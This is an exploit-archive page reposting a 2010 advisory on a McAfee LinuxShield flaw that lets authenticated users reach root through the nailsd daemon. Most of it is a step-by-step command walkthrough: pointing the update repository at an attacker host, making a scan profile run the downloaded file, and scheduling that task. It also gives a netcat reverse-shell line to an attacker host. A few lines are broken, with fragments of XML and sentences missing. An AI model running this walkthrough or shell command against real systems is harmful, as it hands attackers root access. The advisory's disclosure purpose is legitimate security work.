McAfee LinuxShield 本地/远程代码执行漏洞

文档分类: PC软件/EXPLOIT
发表时间:2010-3-6 20:45:18
站内搜索:McAfee LinuxShield 本地/远程代码执行漏洞
漏洞邻居:ShopEx4.7及以下版本远程包含漏洞 | dedecms5.1爆出注入漏洞
[s][S-1154]  分享

[McAfee LinuxShield 本地/远程代码执行漏洞 全文]
[McAfe相关漏洞] 2010-3-6 |McAfee LinuxShield 本地/远程代码执行漏洞


McAfee LinuxShield remote/local code
影响版本: McAfee LinuxShield <= 1.5.1
远程攻击: Yes
本地溢出: Yes

LinuxShield detects and removes viruses and other potentially unwanted
software on Linux-based systems. LinuxShield uses the powerful McAfee
scanning engine ?&#65533;&#65533; the engine common to all our
anti-virus products.

Although a few years ago, the Linux operating system was considered a
secure environment, it is now seeing more occurrences of software
specifically written to attack or exploit security weaknesses in
Linux-based systems. Increasingly, Linux-based systems interact with
Windows-based computers. Although viruses written to attack Windows-
based systems do not directly attack Linux systems, a Linux server
can harbor these viruses, ready to infect any client that connects to

When installed on your Linux systems, LinuxShield provides protection
against viruses, Trojan horses, and other types of potentially
unwanted software.

LinuxShield scans files as they are opened and closed
?&#65533;&#65533; a technique
known as on-access scanning. LinuxShield also incorporates an
on-demand scanner that enables you to scan any directory or file in
your host at any time.

When kept up-to-date with the latest virus-definition (DAT) files,
LinuxShield is an important part of your network security. We
recommend that you set up an anti-virus security policy for your
network, incorporating as many protective measures as possible.

LinuxShield uses a web-browser interface, and a large number of
LinuxShield installations can be centrally controlled by ePolicy

(Product description from LinuxShield Product Guide)


This vulnerability allows remote attackers to execute arbitrary code
on vulnerable installations of McAfee LinuxShield. User interaction
is not required to exploit this vulnerability but an attacker must
be authenticated.

The LinuxShield Webinterface communicates with the localy installed
"nailsd" daemon, which listens on port 65443/tcp, to do
changes, query the configuration and execute tasks.

Each user, which can login to the victim box, can also authenticate
it self to the "nailsd" and can do configuration changes and
tasks with root privileges.

A direct execution of commands is not possible, but it is possible to
download and execute code through manipulation of the config and
execute schedule tasks of the LinuxShield.

walk-through (after the TLS handshake):

nailsd > +OK welcome to the NAILS Statistics Service
attacker> auth <user> <pass>
nailsd > +OK successful authentication

# Set the Attacker repository to download our code from a httpd
# (catalog.z)
attacker> db set 1 _table=repository status=1 siteList=<?xml version
="1.0" encoding="UTF-8"?><ns:SiteLists
st" GlobalVersion="20030131003110"
161903" Type="Client"><SiteList
Default="1" Name="SomeGU
ID"><HttpSite Type="repository"
Name="EvilRepo" Order="1
" Server="<attackerhost>:80"
Enabled="1" Local="1"><Rela

ns:SiteLists> _cmd=update
nailsd > +OK database changes buffered.

# Execute task to set the attacker repository
attacker> task setsitelist
nailsd > +OK setting sitelist from CMA.

# Execute the default Update task to download the code
attacker> task nstart LinuxShield Update
nailsd > +OK task LinuxShield Update starting

# Create a Scan profile, which executes our code. The profiles are
# not stored in the database.
# Scan Profiles: /var/opt/NAI/LinuxShield/etc/ods.cfg
attacker> sconf ODS_99 begin
nailsd > +OK 1260400888

# Set the variable "nailsd.profile.ODS_99.scannerPath" to the
# where our earlier downloaded catalog.z file is stored.
# (/opt/McAfee/cma/scratch/update/catalog.z)
attacker> sconf ODS_99 set 1260400888 nailsd.profile.ODS_99.allFiles=
true nailsd.profile.ODS_99.childInitTmo=60 nailsd.profile.O
DS_99.cleanChildren=2 nailsd.profile.ODS_99.cleansPerChild=
10000 nailsd.profile.ODS_5.datPath=/opt/NAI/LinuxShield/eng
ine/dat nailsd.profile.ODS_99.decompArchive=true nailsd.pro
file.ODS_99.decompExe=true nailsd.profile.ODS_99.engineLibD
ir=/opt/NAI/LinuxShield/engine/lib nailsd.profile.ODS_99.en
ginePath=/opt/NAI/LinuxShield/engine/lib/liblnxfv.so nailsd
.profile.ODS_99.factoryInitTmo=60 nailsd.profile.ODS_99.heu
risticAnalysis=true nailsd.profile.ODS_99.macroAnalysis=tru
e nailsd.profile.ODS_99.maxQueSize=32 nailsd.profile.ODS_99
.mime=true nailsd.profile.ODS_99.noJokes=false nailsd.profi
le.ODS_99.program=true nailsd.profile.ODS_99.quarantineChil
dren=1 nailsd.profile.ODS_99.quarantineDirectory=/quarantin
e nailsd.profile.ODS_99.quarantinesPerChild=10000 nailsd.pr
ofile.ODS_99.scanChildren=2 nailsd.profile.ODS_99.scanMaxTm
o=301 nailsd.profile.ODS_99.scanNWFiles=true nailsd.profile
.ODS_99.scanOnRead=true nailsd.profile.ODS_99.scanOnWrite=t
rue nailsd.profile.ODS_99.scannerPath=/opt/McAfee/cma/scrat
ch/update/catalog.z nailsd.profile.ODS_99.scansPerChild=100
00 nailsd.profile.ODS_99.slowScanChildren=0 nailsd.profile.
ODS_99.filter.0.type=exclude-path nailsd.profile.ODS_99.fil
ter.0.path=/proc nailsd.profile.ODS_99.filter.0.subdir=true
nailsd.profile.ODS_99.filter.extensions.mode=all nailsd.pr
ofile.ODS_99.filter.extensions.type=extension nailsd.profil
e.ODS_99.action.Default.primary=Clean nailsd.profile.ODS_99
.action.Default.secondary=Quarantine nailsd.profile.ODS_99.
action.App.primary=Clean nailsd.profile.ODS_99.action.App.s
econdary=Quarantine nailsd.profile.ODS_99.action.timeout=Pa
ss nailsd.profile.ODS_99.action.error=Block
nailsd > +OK configuration changes buffered
attacker> sconf ODS_99 commit 1260400888
nailsd > +OK configuration changes stored

# Set a scan task with the manipulated profile to execute the code
attacker> db set 1260400888 _table=schedule taskName=Evil Task taskTy
pe=On-Demand taskInfo=profileName=ODS_99,paths=path:/root/t
mp;exclude:false timetable=type=unscheduled taskResults=0 i
_lastRun=1260318482 status=Stopped _cmd=insert
nailsd > +OK database changes buffered

# Execute scan task to execute the code
attacker> task nstart Evil Task

+-------------------------------------- walk-through EOF

To get a reverse root shell place something like this in the catalog.z

--- snip ---
nc -nv <attacker_host> 4444 -e /bin/sh
--- /snip ---

Proof of Concept :



McAfee Advisory

Disclosure Timeline (YYYY/MM/DD):

2009.12.07: Vulnerability found
2010.02.03: Asked vendor for a PGP key
2010.02.05: Vendor sent his PGP key
2010.02.05: Sent PoC, Advisory, Disclosure policy and planned disclosure
date (2010.02.18) to Vendor
2010.02.05: Vendor acknowledges the reception of the advisory
2010.02.16: Ask for a status update, because the planned release date is
2010.02.16: Vendor response that, they are currently working on a patch
2010.02.17: Changed release date to 2010.02.25.
2010.02.22: Vendor gives a status update, that they are able to release
the patch on 2010.02.25.
2010.02.24: Ask for a list of affected products and the advisory url.
2010.02.24: Vendor sends the list.
2010.03.02: Release of this Advisory


非安全中国职能区域 联络方式 非安全中国管理组均配置@sitedirsec.com邮箱
网站最新漏洞投递 pow78781#sitedirsec.com
外部洽谈联络我们 contact#sitedirsec.com
安全人才求职招聘 job#sitedirsec.com
论坛获取邀请码联络 notice#sitedirsec.com

Copyright © www.sitedirsec.com 2006-2012 Email:notice[at]sitedirsec.com 鄂ICP备07011048号